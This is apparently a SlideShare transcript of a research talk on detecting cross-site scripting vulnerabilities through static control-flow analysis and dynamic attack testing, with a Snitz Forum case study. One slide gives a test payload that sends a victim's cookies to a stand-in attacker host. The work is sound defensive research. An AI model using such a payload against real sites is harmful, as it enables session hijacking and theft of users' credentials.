SlideShare a Scribd company logo
Identifying Cross Site
Scripting Vulnerabilities in
    Web Applications

        P. Tramontana, A.R. Fasolino
        Dipartimento di Informatica e Sistemistica
           University of Naples Federico II, Italy


                   G.A. Di Lucca
    RCOST – Research Centre on Software Technology
         University of Sannio, Benevento, Italy


                  M. Mastroianni
            Second University of Naples, Italy
                                                     1
The problem of Internet security and privacy


   Security and privacy are fundamental
    requirements for Web Applications
   75% of the malicious attacks on the Web
    occur at the application level (Gartner
    Group)
   As more complex and automated Web
    Applications arise so does the probability
    of creating security loopholes.

                                       2
The problem of Internet security and privacy

   Security and privacy are usually guaranteed by:
     specific security systems (such as firewalls, or

      Intrusion Detection Systems) and software
      (such as antivirus or encryption software)
     organisational changes to business processes

      finalised to improve security
 But developers do not build security into their
applications, based upon the false assumption that
another area of security will cover it

                                         3
Cross Site Scripting (XSS)


Cross-Site Scripting attack:
  A client executes a page containing script code
  that has been injected from other sources


   How can a malicious user perform a
       Cross Site Scripting attack?



                                         4
First scenario

   Web Application implementing                          Malicious user
    a Guestbook                                                  Malicious
                                       Input Page                code
   Malicious user inserting a
    message, containing script
    code
   The script code is stored into     DB table         DB Storage Page
    the database
   A victim open the Message
    page
   Since no checks are                                      Victim
    performed, the script code is
    sent to the browser as a
    message                          Guestbook Page
   The browser executes the                        5
Second scenario

   A Simple Search form                   Victim
   The victim unconsciously
    execute a link containing
    a malicious script code
   Simple Search server
    page write an error
    message…
   … but this error message
    contains the script code,
    that is executed by the
    browser                                 Malicious code

                                       6
Key factors of XSS vulnerability

   the exploits are very simple to carry out, and no particular
    application knowledge or skill are required;
   the attacks may bypass perimeter defences (e.g.
    Firewalls), cryptography, digital signatures and site
    trusting;
   it may be very difficult for the victim to know which web
    application allowed the XSS attack;
   it may be very difficult for the developer to know which
    element of the web application allowed the XSS attack;
   evolution of hypertextual language characteristics and
    browser capabilities may make it possible new attack
    strategies and make vulnerable a web application which
    was considered invulnerable.
                                               7
Possible solutions

   To disable scripting language interpretation in
    browsers
   To install of a software proxy which intercepts
    malicious strings in input and/or output (Scott and
    Sharp, 2002)
   To introduce an input validation function
    immediately after every input statement contained
    in a Web page
       To adopt this solution detection of vulnerabilities in
        source server script code is needed

                                                   8
Detection and assessment of XSS vulnerabilities


Static and dynamic analysis of server pages are combined to
  detect and assess XSS vulnerabilities:
 Static analysis detects vulnerable pages and potentially

  vulnerable pages
 Dynamic analysis consists in the execution of a set of test

  cases reproducing XSS attacks




                                              9
Potential vulnerability of a server page

   A server page will be potentially XSS vulnerable if there
    are a variable v and two Input(v) and Output(v) nodes that
    are connected by a path on the CFG.
                              nI   <%
     nI
                                   ‘Read Message from input form
          Input               1    Message=request.form("txtMessage")
     1    Message
                                   ‘Check for string “script” in Message
     2
                              2    if instr(1,Message,“script")>0 then
            Message
                              3       response.write(“Forbidden”)
              …               4    else
    3                                 . . . open DB connection . . .
             10
                    Output    8       rs.open "Guestbook",conn,1,2,2
                    Message
                                      ‘Store Message into the DB
              …               9       rs.Addnew
                              10      rs("Message")=Message
            nF                11      rs.update
                              nF   end if
                                   %>
                                                                    10
Vulnerability of a server page

   A server page will be vulnerable if there are a variable v,
    and two Input(v) and Output(v) nodes, such that all the
    paths on the CFG leaving the Input(v) node reach the
    Output(v) node, being def-clear with respect to v.
              nI
                                 nI   <%
                                      ‘Read Message from input form
                       Input     1    Message=request.form("txtMessage")
              1        Message        . . . open DB connection . . .
                                 5    rs.open "Guestbook",conn,1,2,2
    Message
                  …
                                      ‘Store Message into the DB
                                 6    rs.Addnew
                                 7    rs("Message")=Message
                      Output     8    rs.update
              7       Message
                                 nF   %>
                  …



              nF                                                     11
Invulnerability of a server pages

   A server page including an input data item that does not
    affect any output will be certainly invulnerable with respect
    to that input.
     nI
                      nI   <%
                           ‘Read Message from input form
          Input
          Message     1    Message=request.form("txtMessage")
     1
                           . . . open DB connection . . .
                      5    rs.open "Guestbook",conn,1,2,2
     …
                           ‘Store a constant string into the DB
                      6    rs.Addnew
                      7    rs("Message")=“One message received”
     nF
                      8    rs.update
                      nF   %>




                                                              12
Vulnerability conditions

Vulnerability predicates:
  A(v): There exists a path on the CFG between I and O nodes.
 B(v): The O node postdominates I node.

 C(v): Each path between I node and O node is a def-clear-path

(obviously, B(v)=>A(v) and C(v)=>A(v) )


Vulnerability conditions:
   PV) ∃v ∈ P: A(v) => P is potentially vulnerable with respect to v => P
    is potentially vulnerable
   V) ∃v ∈ P: B(v) AND C(v) => P is vulnerable with respect to v => P
    is vulnerable
   NV) ∃v ∈ P: NOT(A(v)) => P is not vulnerable with respect to v
                                                         13
Examples (1)

                             nI   <%
 nI
                                  ‘Read Message from input form
      Input                  1    Message=request.form("txtMessage")
 1    Message
                                  ‘Check for string “script” in Message
 2
                             2    if instr(1,Message,“script")>0 then
          Message
                             3       response.write(“Forbidden”)
             …               4    else
3                                    . . . open DB connection . . .
            10
                 Output      8       rs.open "Guestbook",conn,1,2,2
                 Message
                                     ‘Store Message into the DB
             …               9       rs.Addnew
                             10      rs("Message")=Message
          nF                 11      rs.update                        The server page
                             nF   end if                              is potentially
                                  %>
                                                                         vulnerable with
          Predicate values            Condition        Input variable    respect to the
      A          B           C    V     P         NV    
                                                                         variable Message
      T          F           T    F    T          F    Message

                                                                        14
Examples (2)

           nI
                               nI       <%
                                        ‘Read Message from input form
                     Input     1        Message=request.form("txtMessage")
           1         Message            . . . open DB connection . . .
                               5        rs.open "Guestbook",conn,1,2,2
Message
               …
                                        ‘Store Message into the DB
                               6        rs.Addnew
                               7        rs("Message")=Message
                    Output     8        rs.update
           7        Message
                               nF       %>
               …


                                                                              The server page
                                                                              is vulnerable with
           nF


                                                                              respect to the
      Predicate values                     Condition        Input variable    variable Message
  A             B        C          V       P          NV    
  T             T        T          T       T          F    Message

                                                                             15
Examples (3)

nI
                           nI   <%
                                ‘Read Message from input form
          Input
          Message          1    Message=request.form("txtMessage")
1
                                . . . open DB connection . . .
                           5    rs.open "Guestbook",conn,1,2,2
…
                                ‘Store a constant string into the DB
                           6    rs.Addnew
                           7    rs("Message")=“One message received”
nF
                           8    rs.update
                           nF   %>



        Predicate values              Condition        Input variable
                                                                         The server page
    A          B           C     V     P          NV                     is not vulnerable
    F          F           F     F     F          T    Message




                                                                        16
Static analysis



1.     Identify the input and output nodes of the CFG of the page P;
2.      Identify all paths leaving the input nodes on the CFG;
3.      For each path leaving an input(v) node and reaching an output(v)
       node, verify if the path is def-clear with respect to v;
4.      Evaluates A, B, and C predicates’ values with respect to v;
5.      Evaluate the vulnerability of page P, by the PV, NV, and V
       conditions.


 With reference to the second step of this process, in order to cope with the complexity
 of identifying all paths leaving the input nodes on the CFG, the analysis can be limited
 to a set of linearly independent paths extracted from the CFG.

                                                                       17
Dynamic analysis


   Tthe presence of a vulnerable page doesn’t imply that a
    XSS attack can be performed. To assess if a Web
    Application is actually vulnerable to XSS attacks,
    dynamic analysis may be performed.
   A vulnerability should be corrected and eliminated by the
    developer. The semantic of the source code of pages
    containing potential vulnerability should be analysed by
    the developer.
   A testing strategy involving the execution of a set of
    attack test cases must be followed


                                              18
Testing strategy (second scenario)


FOR EACH vulnerable or potentially vulnerable
   page P of the Web Application
  FOR EACH input field I of page P causing
   vulnerability
    Define a set S of XSS attack strings
    FOR EACH s ∈ S
       EXECUTE server page P with
       input field I=s
       Check for attack consequences



                                     19
Testing strategy (first scenario)


FOR EACH vulnerable or potentially vulnerable page
    P of the Web Application
    FOR EACH input field I of page P causing
    vulnerability
    Define a set S of XSS attack strings
   FOR EACH s ∈ S
      EXECUTE server page P with input field I= s
     FOR EACH test case T from the test suite
        EXECUTE test case T
        Check for attack consequences




                                         20
Case study

   Real world open source Web Applications
    implemented in PHP and ASP has been
    analysed
   An example: Snitz Forum, version 3.4.03 (
    http://forum.snitz.com)
   Vulnerability situations has been detected using
    static analysis
   A vulnerability to XSS attacks of the second type
    has been confirmed by dynamic analysis
                                        21
An example
 An example of vulnerability is contained in the following source code:


Response.Write “<input type=""text"" name=""Search""
   size=""40"" value=""" & Request.QueryString("Search") &
   """><br />" & vbNewLine


This line of search.asp page contains a vulnerability: the value of an
input variable (Search) will be sent to the client browser with no
checks. The following test case perform a XSS attack redirecting Client
Cookie values to a page of attacker’s server :

“><script>location.URL=‘http://www.attackersite.com/atta
cker.cgi?’ + document.cookie) </script>

                                                       22
An example

This vulnerability is also reported by Bugtraq web sites (
http://www.securityfocus.com, http://msgs.securepoint.com/bugtraq/)
and it has been corrected in the next version (3.4.04) of the forum




Response.Write ”           "<td bgColor=""" &
strPopUpTableColor & """ align=""left"" valign=""middle"">
<input type=""text"" name=""Search"" size=""40"" value="""
& trim(ChkString(Request.QueryString("Search"),"display"))
& """><br />" & vbNewLine & _




                                                    23
Conclusions
   A WA should be intrinsically secure, by adopting secure
    programming practices, in order to preserve its
    invulnerability as the execution environment changes.

   This paper proposed an approach for assessing the XSS
    vulnerability of an existing WA based on static and
    dynamic analysis of source code: Static analysis criteria
    have been defined to individuate vulnerable Web pages,
    while dynamic analysis strategies have been proposed to
    test the actual vulnerability of the Web Application
    including the vulnerable pages.

                                              24
Future works

   To support static analysis with automatic tools

   To integrate dynamic analysis with test case
    execution tools

   To assess the effectiveness of the approach with
    a wider set of applications



                                         25
Ad

More Related Content

What's hot (20)

Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
Barrel Software
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)
Nabin Dutta
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
InMobi Technology
 
Xss what the heck-!
Xss   what the heck-!Xss   what the heck-!
Xss what the heck-!
VodqaBLR
 
Xss
XssXss
Xss
Rajendra Dangwal
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
Daisuke_Dan
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
Ritesh Gupta
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
Ali Mattash
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
Vishal Kumar
 
XSS
XSSXSS
XSS
Hrishikesh Mishra
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Sandeep Kumbhar
 
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
Daniel Tumser
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
n|u - The Open Security Community
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
vinayh.vaghamshi _
 
XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing tool
Arjun Jain
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
Manish Kumar
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
Prakashchand Suthar
 
Xss attack
Xss attackXss attack
Xss attack
Manjushree Mashal
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
Michael Coates
 
Understanding dom based xss
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xss
Potato
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
Barrel Software
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)
Nabin Dutta
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
InMobi Technology
 
Xss what the heck-!
Xss   what the heck-!Xss   what the heck-!
Xss what the heck-!
VodqaBLR
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
Daisuke_Dan
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
Ritesh Gupta
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
Ali Mattash
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
Vishal Kumar
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Sandeep Kumbhar
 
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
Daniel Tumser
 
XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing tool
Arjun Jain
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
Manish Kumar
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
Michael Coates
 
Understanding dom based xss
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xss
Potato
 

Viewers also liked (13)

Analysis of field data on web security vulnerabilities
Analysis of field data on web security vulnerabilities Analysis of field data on web security vulnerabilities
Analysis of field data on web security vulnerabilities
Papitha Velumani
 
Analysis of Field Data on Web Security Vulnerabilities
Analysis of Field Data on Web Security VulnerabilitiesAnalysis of Field Data on Web Security Vulnerabilities
Analysis of Field Data on Web Security Vulnerabilities
KaashivInfoTech Company
 
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
Nurul Haszeli Ahmad
 
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникацииАрмия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Andrew Petukhov
 
2012 04 Analysis Techniques for Mobile OS Security
2012 04 Analysis Techniques for Mobile OS Security2012 04 Analysis Techniques for Mobile OS Security
2012 04 Analysis Techniques for Mobile OS Security
Raleigh ISSA
 
A Study on Dynamic Detection of Web Application Vulnerabilities
A Study on Dynamic Detection of Web Application VulnerabilitiesA Study on Dynamic Detection of Web Application Vulnerabilities
A Study on Dynamic Detection of Web Application Vulnerabilities
Yuji Kosuga
 
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Andrew Petukhov
 
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSEWEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
Ajith Kp
 
No locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructureNo locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructure
Andrew Petukhov
 
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web AppsCODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
Isao Takaesu
 
Attributes based encryption with verifiable outsourced decryption
Attributes based encryption with verifiable outsourced decryptionAttributes based encryption with verifiable outsourced decryption
Attributes based encryption with verifiable outsourced decryption
KaashivInfoTech Company
 
data mining for security application
data mining for security applicationdata mining for security application
data mining for security application
bharatsvnit
 
Technology buffet for new teachers march 2012
Technology buffet for new teachers march 2012Technology buffet for new teachers march 2012
Technology buffet for new teachers march 2012
Karen Brooks
 
Analysis of field data on web security vulnerabilities
Analysis of field data on web security vulnerabilities Analysis of field data on web security vulnerabilities
Analysis of field data on web security vulnerabilities
Papitha Velumani
 
Analysis of Field Data on Web Security Vulnerabilities
Analysis of Field Data on Web Security VulnerabilitiesAnalysis of Field Data on Web Security Vulnerabilities
Analysis of Field Data on Web Security Vulnerabilities
KaashivInfoTech Company
 
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
Nurul Haszeli Ahmad
 
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникацииАрмия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Andrew Petukhov
 
2012 04 Analysis Techniques for Mobile OS Security
2012 04 Analysis Techniques for Mobile OS Security2012 04 Analysis Techniques for Mobile OS Security
2012 04 Analysis Techniques for Mobile OS Security
Raleigh ISSA
 
A Study on Dynamic Detection of Web Application Vulnerabilities
A Study on Dynamic Detection of Web Application VulnerabilitiesA Study on Dynamic Detection of Web Application Vulnerabilities
A Study on Dynamic Detection of Web Application Vulnerabilities
Yuji Kosuga
 
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Andrew Petukhov
 
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSEWEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
Ajith Kp
 
No locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructureNo locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructure
Andrew Petukhov
 
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web AppsCODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
Isao Takaesu
 
Attributes based encryption with verifiable outsourced decryption
Attributes based encryption with verifiable outsourced decryptionAttributes based encryption with verifiable outsourced decryption
Attributes based encryption with verifiable outsourced decryption
KaashivInfoTech Company
 
data mining for security application
data mining for security applicationdata mining for security application
data mining for security application
bharatsvnit
 
Technology buffet for new teachers march 2012
Technology buffet for new teachers march 2012Technology buffet for new teachers march 2012
Technology buffet for new teachers march 2012
Karen Brooks
 
Ad

Similar to Identifying Cross Site Scripting Vulnerabilities in Web Applications (20)

Protecting Web Services from DDOS Attack
Protecting Web Services from DDOS AttackProtecting Web Services from DDOS Attack
Protecting Web Services from DDOS Attack
Ponraj
 
Client sidesec 2013 - script injection
Client sidesec 2013 - script injectionClient sidesec 2013 - script injection
Client sidesec 2013 - script injection
Tal Be'ery
 
Real time websites and mobile apps with SignalR
Real time websites and mobile apps with SignalRReal time websites and mobile apps with SignalR
Real time websites and mobile apps with SignalR
Roy Cornelissen
 
PayPal under the hood
PayPal under the hoodPayPal under the hood
PayPal under the hood
X.commerce
 
17-Networking.pdf
17-Networking.pdf17-Networking.pdf
17-Networking.pdf
sophia763824
 
Talk of the hour, the wanna crypt ransomware
Talk of the hour, the wanna crypt ransomwareTalk of the hour, the wanna crypt ransomware
Talk of the hour, the wanna crypt ransomware
shubaira
 
Socket programming using java
Socket programming using javaSocket programming using java
Socket programming using java
UC San Diego
 
Locking the Doors -7 Pernicious Pitfalls to avoid with Java
Locking the Doors -7 Pernicious Pitfalls to avoid with JavaLocking the Doors -7 Pernicious Pitfalls to avoid with Java
Locking the Doors -7 Pernicious Pitfalls to avoid with Java
Steve Poole
 
Real time event feeds with NServiceBus and SignalR
Real time event feeds with NServiceBus and SignalRReal time event feeds with NServiceBus and SignalR
Real time event feeds with NServiceBus and SignalR
Roy Cornelissen
 
Report on xss and do s
Report on xss and do sReport on xss and do s
Report on xss and do s
mehr77
 
Welcome to International Journal of Engineering Research and Development (IJERD)
Welcome to International Journal of Engineering Research and Development (IJERD)Welcome to International Journal of Engineering Research and Development (IJERD)
Welcome to International Journal of Engineering Research and Development (IJERD)
IJERD Editor
 
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
ITAS VIETNAM
 
Lindsay distributed geventzmq
Lindsay distributed geventzmqLindsay distributed geventzmq
Lindsay distributed geventzmq
Robin Xiao
 
NATS: Simple, Secure and Scalable Messaging For the Cloud Native Era
NATS: Simple, Secure and Scalable Messaging For the Cloud Native EraNATS: Simple, Secure and Scalable Messaging For the Cloud Native Era
NATS: Simple, Secure and Scalable Messaging For the Cloud Native Era
wallyqs
 
Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...
Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...
Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...
NATS
 
NATS: Simple, Secure, and Scalable Messaging for the Cloud Native Era
NATS: Simple, Secure, and Scalable Messaging for the Cloud Native EraNATS: Simple, Secure, and Scalable Messaging for the Cloud Native Era
NATS: Simple, Secure, and Scalable Messaging for the Cloud Native Era
All Things Open
 
Upgrading_your_microservices_to_next_level_v1.0.pdf
Upgrading_your_microservices_to_next_level_v1.0.pdfUpgrading_your_microservices_to_next_level_v1.0.pdf
Upgrading_your_microservices_to_next_level_v1.0.pdf
VladimirRadzivil
 
ClubHack Magazine issue April 2012
ClubHack Magazine issue April 2012ClubHack Magazine issue April 2012
ClubHack Magazine issue April 2012
ClubHack
 
Network And Application Layer Attacks
Network And Application Layer AttacksNetwork And Application Layer Attacks
Network And Application Layer Attacks
Arun Modi
 
144205230-Cross-Site-Scripting-XSS-ppt.ppt
144205230-Cross-Site-Scripting-XSS-ppt.ppt144205230-Cross-Site-Scripting-XSS-ppt.ppt
144205230-Cross-Site-Scripting-XSS-ppt.ppt
SyedAliShahid3
 
Protecting Web Services from DDOS Attack
Protecting Web Services from DDOS AttackProtecting Web Services from DDOS Attack
Protecting Web Services from DDOS Attack
Ponraj
 
Client sidesec 2013 - script injection
Client sidesec 2013 - script injectionClient sidesec 2013 - script injection
Client sidesec 2013 - script injection
Tal Be'ery
 
Real time websites and mobile apps with SignalR
Real time websites and mobile apps with SignalRReal time websites and mobile apps with SignalR
Real time websites and mobile apps with SignalR
Roy Cornelissen
 
PayPal under the hood
PayPal under the hoodPayPal under the hood
PayPal under the hood
X.commerce
 
Talk of the hour, the wanna crypt ransomware
Talk of the hour, the wanna crypt ransomwareTalk of the hour, the wanna crypt ransomware
Talk of the hour, the wanna crypt ransomware
shubaira
 
Socket programming using java
Socket programming using javaSocket programming using java
Socket programming using java
UC San Diego
 
Locking the Doors -7 Pernicious Pitfalls to avoid with Java
Locking the Doors -7 Pernicious Pitfalls to avoid with JavaLocking the Doors -7 Pernicious Pitfalls to avoid with Java
Locking the Doors -7 Pernicious Pitfalls to avoid with Java
Steve Poole
 
Real time event feeds with NServiceBus and SignalR
Real time event feeds with NServiceBus and SignalRReal time event feeds with NServiceBus and SignalR
Real time event feeds with NServiceBus and SignalR
Roy Cornelissen
 
Report on xss and do s
Report on xss and do sReport on xss and do s
Report on xss and do s
mehr77
 
Welcome to International Journal of Engineering Research and Development (IJERD)
Welcome to International Journal of Engineering Research and Development (IJERD)Welcome to International Journal of Engineering Research and Development (IJERD)
Welcome to International Journal of Engineering Research and Development (IJERD)
IJERD Editor
 
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
ITAS VIETNAM
 
Lindsay distributed geventzmq
Lindsay distributed geventzmqLindsay distributed geventzmq
Lindsay distributed geventzmq
Robin Xiao
 
NATS: Simple, Secure and Scalable Messaging For the Cloud Native Era
NATS: Simple, Secure and Scalable Messaging For the Cloud Native EraNATS: Simple, Secure and Scalable Messaging For the Cloud Native Era
NATS: Simple, Secure and Scalable Messaging For the Cloud Native Era
wallyqs
 
Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...
Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...
Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...
NATS
 
NATS: Simple, Secure, and Scalable Messaging for the Cloud Native Era
NATS: Simple, Secure, and Scalable Messaging for the Cloud Native EraNATS: Simple, Secure, and Scalable Messaging for the Cloud Native Era
NATS: Simple, Secure, and Scalable Messaging for the Cloud Native Era
All Things Open
 
Upgrading_your_microservices_to_next_level_v1.0.pdf
Upgrading_your_microservices_to_next_level_v1.0.pdfUpgrading_your_microservices_to_next_level_v1.0.pdf
Upgrading_your_microservices_to_next_level_v1.0.pdf
VladimirRadzivil
 
ClubHack Magazine issue April 2012
ClubHack Magazine issue April 2012ClubHack Magazine issue April 2012
ClubHack Magazine issue April 2012
ClubHack
 
Network And Application Layer Attacks
Network And Application Layer AttacksNetwork And Application Layer Attacks
Network And Application Layer Attacks
Arun Modi
 
144205230-Cross-Site-Scripting-XSS-ppt.ppt
144205230-Cross-Site-Scripting-XSS-ppt.ppt144205230-Cross-Site-Scripting-XSS-ppt.ppt
144205230-Cross-Site-Scripting-XSS-ppt.ppt
SyedAliShahid3
 
Ad

More from Porfirio Tramontana (20)

Testing Robot Challenge: A Serious Game for Testing Learning
Testing Robot Challenge: A Serious Game for Testing LearningTesting Robot Challenge: A Serious Game for Testing Learning
Testing Robot Challenge: A Serious Game for Testing Learning
Porfirio Tramontana
 
Test Smells Learning by a Gamification Approach
Test Smells Learning by a Gamification ApproachTest Smells Learning by a Gamification Approach
Test Smells Learning by a Gamification Approach
Porfirio Tramontana
 
Automatic Assessment of Architectural Anti-patterns and Code Smells in Studen...
Automatic Assessment of Architectural Anti-patterns and Code Smells in Studen...Automatic Assessment of Architectural Anti-patterns and Code Smells in Studen...
Automatic Assessment of Architectural Anti-patterns and Code Smells in Studen...
Porfirio Tramontana
 
State of the practice in Software Testing Teaching in Four European Countries
State of the practice in Software Testing Teaching in Four European CountriesState of the practice in Software Testing Teaching in Four European Countries
State of the practice in Software Testing Teaching in Four European Countries
Porfirio Tramontana
 
An Approach for Model Based Testing of Augmented Reality Applications.pdf
An Approach for Model Based Testing of Augmented Reality Applications.pdfAn Approach for Model Based Testing of Augmented Reality Applications.pdf
An Approach for Model Based Testing of Augmented Reality Applications.pdf
Porfirio Tramontana
 
Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...
Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...
Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...
Porfirio Tramontana
 
Techniques and Tools for Mobile Testing Automation
Techniques and Tools for Mobile Testing AutomationTechniques and Tools for Mobile Testing Automation
Techniques and Tools for Mobile Testing Automation
Porfirio Tramontana
 
A technique for parallel gui testing of android applications
A technique for parallel gui testing of android applicationsA technique for parallel gui testing of android applications
A technique for parallel gui testing of android applications
Porfirio Tramontana
 
Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...
Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...
Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...
Porfirio Tramontana
 
Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...
